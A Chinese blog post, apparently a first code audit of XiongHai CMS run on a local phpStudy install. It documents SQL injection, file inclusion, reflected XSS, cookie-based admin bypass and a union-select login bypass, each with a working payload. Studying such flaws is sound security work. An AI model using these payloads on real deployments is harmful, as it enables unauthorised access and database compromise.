下载熊海cms整个文件
phpstudy本地搭建网站完之后
先查看目录
——admin //后台文件
——css //css文件
——files //功能函数文件
——images //图片
——index.php //主目录文件
——inc //include的简写,存放头文件的
——install //安装文件
——seacmseditor //编辑器
——template //模板文件
——upload //文件上传目录
开始进行代码审计
先seay扫描一遍
扫出第一个漏洞
一 安装界面存在sql注入漏洞
$query = "UPDATE manage SET user='$user',password='$password',name='$user'";
构造报错注入payload
1' or extractvalue(1,concat(0x7e,(select @@version),0x7e));#
二 主目录 和admin目录的index.php存在文件包含漏洞
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index 也就是说 这是个三目运算符 优先级是要比赋值要高的 如果file变量为空 则把index赋值给file 否则就不对file变量进行操作
include('files/'.$action.'.php'); //载入相应文件
?>
addslashes函数
![](https://i-blog.csdnimg.cn/blog_migrate/edd410faa4642b6eb27c93dc586c2b20.png)
代码自动给action变量添加/file目录和PHP后缀 所以不要文件包含时不要再自己加php目录了 目录跳转到file的上一目录 也就是首目录执行上传的phpinfo
http://127.0.0.1/xionghaicms/index.php?r=../info.php
包含成功
admin目录的index.php也同样的利用方式
只不过需要跳转两次
http://127.0.0.1/xionghaicms/admin/index.php?r=../../info.php
三 前台多处sql注入
防止sql注入 此cms只是增加了addslashes()
函数过滤
但是应用此函数时还需要注意一下两点
1. 是否有单引号保护
2.是否做了宽字节注入的防御
对于宽字节编码,有一种最好的修补就是:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
上述的两个条件是“与”运算的关系,少一条都不行。
files/software.php 第13行未做单引号保护
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
files/content.php第19行未做单引号保护
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
files/submit.php 只是对type变量做了单引号保护 对于post传参也是可以sql注入的
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
if ($tz==""){$tz=0;}
$jz=$_POST['jz'];
四 xss漏洞
files/contact.php
第12~15行
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
构造payload page=<img src=x onerror=alert(/xss/);>执行成功
五 垂直越权
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
这是个判断是否为管理员的程序,如果user中为空,就跳到登录首页。可以看到 cookie中的user被赋值给user变量 如果我们在需要登录管理员的页面下 在cookie中尝试添加 user:admin 发现在不需要密码的情况下登录成功。实现了垂直越权。
五 万能密码登录
漏洞位置admin\files\login.php
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
未对user值进行过滤就被带入到数据库进行查询
如果我们在输入user时利用联合查询临时插入一行值,其中包括着密码 在输入密码时结合构造的payload 即可实现登录
user:1' union select 1,2,'test','c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#
password:1
此处md5(1)=c4ca4238a0b923820dcc509a6f75849b
漏洞分析:
先是利用联合查询临时在表中生成了一行数据
然后在输入密码时和我们伪造的数据库密码对应 即可绕过验证 登录成功
总结:
这是我第一个完整的cms代码审计,但大多还是参考的师傅们的文章。要学的东西还有很多,一步一个脚印慢慢来吧。
路漫漫其修远兮,吾将上下而求索